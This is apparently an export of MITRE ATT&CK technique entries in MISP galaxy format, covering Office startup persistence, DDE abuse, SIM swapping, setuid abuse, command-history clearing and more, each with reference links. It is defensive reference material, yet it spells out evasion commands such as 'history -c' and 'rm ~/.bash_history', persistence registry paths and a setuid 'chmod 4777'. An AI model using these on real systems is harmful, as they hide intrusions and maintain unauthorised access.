https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx

Account Access Removal - T1531

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"

Table 2423. Table References
Links
https://attack.mitre.org/techniques/T1531
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/

Network Share Discovery - T1135

Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

Windows

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)

[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

Mac

On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.

Cloud

Cloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)

The tag is: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"

Table 2424. Table References
Links
https://attack.mitre.org/techniques/T1135
https://capec.mitre.org/data/definitions/643.html
https://en.wikipedia.org/wiki/Shared_resource
https://technet.microsoft.com/library/cc770880.aspx
https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html
https://cloud.google.com/solutions/filers-on-compute-engine

Office Application Startup - T1137

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

Office Template Macros

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)

Word Normal.dotm location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

Office Test

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)

<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

Add-ins

Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)

Outlook Rules, Forms, and Home Page

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

To abuse these features, an adversary requires prior access to the user’s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)

The tag is: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"

Table 2425. Table References
Links
https://attack.mitre.org/techniques/T1137
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
https://github.com/sensepost/ruler
https://silentbreaksecurity.com/malicious-outlook-rules/
https://sensepost.com/blog/2017/outlook-forms-and-shells/
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler

Dynamic Data Exchange - T1173

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

The tag is: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173"

Table 2426. Table References
Links
https://attack.mitre.org/techniques/T1173
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://technet.microsoft.com/library/security/4053440
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
https://www.contextis.com/blog/comma-separated-vulnerabilities
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

Obfuscate operational infrastructure - T1318

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate operational infrastructure - T1318"

Table 2427. Table References
Links
https://attack.mitre.org/techniques/T1318

Capture Clipboard Data - T1414

Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)

On Android, <code>ClipboardManager.OnPrimaryClipChangedListener</code> can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)

Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)

The tag is: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414"

Table 2428. Table References
Links
https://attack.mitre.org/techniques/T1414
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html
http://saschafahl.de/static/paper/pwmanagers2013.pdf
https://github.com/grepx/android-clipboard-security
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data

SIM Card Swap - T1451

An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap).

One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).

The tag is: misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451"

Table 2429. Table References
Links
https://attack.mitre.org/techniques/T1451
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html
http://www.dos.ny.gov/consumerprotection/scams/att-sim.html
https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam
http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/
https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters
https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin
https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/
https://techcrunch.com/2017/08/23/i-was-hacked/

URL Scheme Hijacking - T1415

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).

The tag is: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415"

Table 2430. Table References
Links
https://attack.mitre.org/techniques/T1415
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html
https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html
https://tools.ietf.org/html/rfc7636
https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures

Android Intent Hijacking - T1416

A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes(Citation: IETF-PKCE).

The tag is: misp-galaxy:mitre-attack-pattern="Android Intent Hijacking - T1416"

Table 2431. Table References
Links
https://attack.mitre.org/techniques/T1416
https://tools.ietf.org/html/rfc7636

Clear Command History - T1146

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they’ve done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user’s home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

The tag is: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146"

Table 2432. Table References
Links
https://attack.mitre.org/techniques/T1146

Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174"

Table 2433. Table References
Links
https://attack.mitre.org/techniques/T1174
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Device Type Discovery - T1419

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

The tag is: misp-galaxy:mitre-attack-pattern="Device Type Discovery - T1419"

Device Type Discovery - T1419 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 2434. Table References
Links
https://attack.mitre.org/techniques/T1419
https://developer.android.com/reference/android/os/Build

Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194"

Table 2435. Table References
Links
https://attack.mitre.org/techniques/T1194
https://capec.mitre.org/data/definitions/163.html

Supply Chain Compromise - T1195

Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

Manipulation of development tools
Manipulation of a development environment
Manipulation of source code repositories (public or private)
Manipulation of source code in open-source dependencies
Manipulation of software update/distribution mechanisms
Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware)
Replacement of legitimate software with modified versions
Sales of modified/counterfeit products to legitimate distributors
Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"

Table 2436. Table References
Links
https://attack.mitre.org/techniques/T1195
https://capec.mitre.org/data/definitions/437.html
https://capec.mitre.org/data/definitions/438.html
https://capec.mitre.org/data/definitions/439.html
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206--E[https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206--E]
https://www.schneider-electric.com/en/download/document/SESN-2018-236-01/
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
https://www.commandfive.com/papers/C5_APT_SKHack.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).

The tag is: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166"

Table 2437. Table References
Links
https://attack.mitre.org/techniques/T1166
http://man7.org/linux/man-pages/man2/setuid.2.html
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

cron

System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

at

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

launchd

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

The tag is: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"

Table 2438. Table References
Links
https://attack.mitre.org/techniques/T1168
https://linux.die.net/man/5/crontab
https://linux.die.net/man/1/at
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/

Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

The tag is: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196"

Table 2439. Table References
Links
https://attack.mitre.org/techniques/T1196
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

C2 protocol development - T1352

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)

The tag is: misp-galaxy:mitre-attack-pattern="C2 protocol development - T1352"

Table 2440. Table References
Links
https://attack.mitre.org/techniques/T1352

Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223"

Table 2441. Table References
Links
https://attack.mitre.org/techniques/T1223
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
https://msdn.microsoft.com/windows/desktop/ms644670
https://msdn.microsoft.com/windows/desktop/ms524405
https://msitpros.com/?p=3909
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

Create implementation plan - T1232

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

The tag is: misp-galaxy:mitre-attack-pattern="Create implementation plan - T1232"

Table 2442. Table References
Links
https://attack.mitre.org/techniques/T1232

Determine operational element - T1242

If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Determine operational element - T1242"

Table 2443. Table References
Links
https://attack.mitre.org/techniques/T1242

Identify gap areas - T1225

Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)

The tag is: misp-galaxy:mitre-attack-pattern="Identify gap areas - T1225"

Table 2444. Table References
Links
https://attack.mitre.org/techniques/T1225

Map network topology - T1252

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

The tag is: misp-galaxy:mitre-attack-pattern="Map network topology - T1252"

Table 2445. Table References
Links
https://attack.mitre.org/techniques/T1252

Enumerate client configurations - T1262

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

The tag is: misp-galaxy:mitre-attack-pattern="Enumerate client configurations - T1262"

Table 2446. Table References
Links
https://attack.mitre.org/techniques/T1262

Identify business relationships - T1272

Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272"

Identify business relationships - T1272 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283" with estimative-language:likelihood-probability="almost-certain"

Table 2447. Table References
Links
https://attack.mitre.org/techniques/T1272

Determine physical locations - T1282

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Determine physical locations - T1282"

Table 2448. Table References
Links
https://attack.mitre.org/techniques/T1282

Test signature detection - T1292

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don’t publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

The tag is: misp-galaxy:mitre-attack-pattern="Test signature detection - T1292"

Table 2449. Table References
Links
https://attack.mitre.org/techniques/T1292

Access Contact List - T1432

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

The tag is: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432"

Table 2450. Table References
Links
https://attack.mitre.org/techniques/T1432
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Network Service Scanning - T1423

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1423"

Table 2451. Table References
Links
https://attack.mitre.org/techniques/T1423

Evade Analysis Environment - T1523

Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access android.os.SystemProperties via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)

The tag is: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523"

Table 2452. Table References
Links
https://attack.mitre.org/techniques/T1523
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/
https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/
https://github.com/strazzere/anti-emulator
https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/

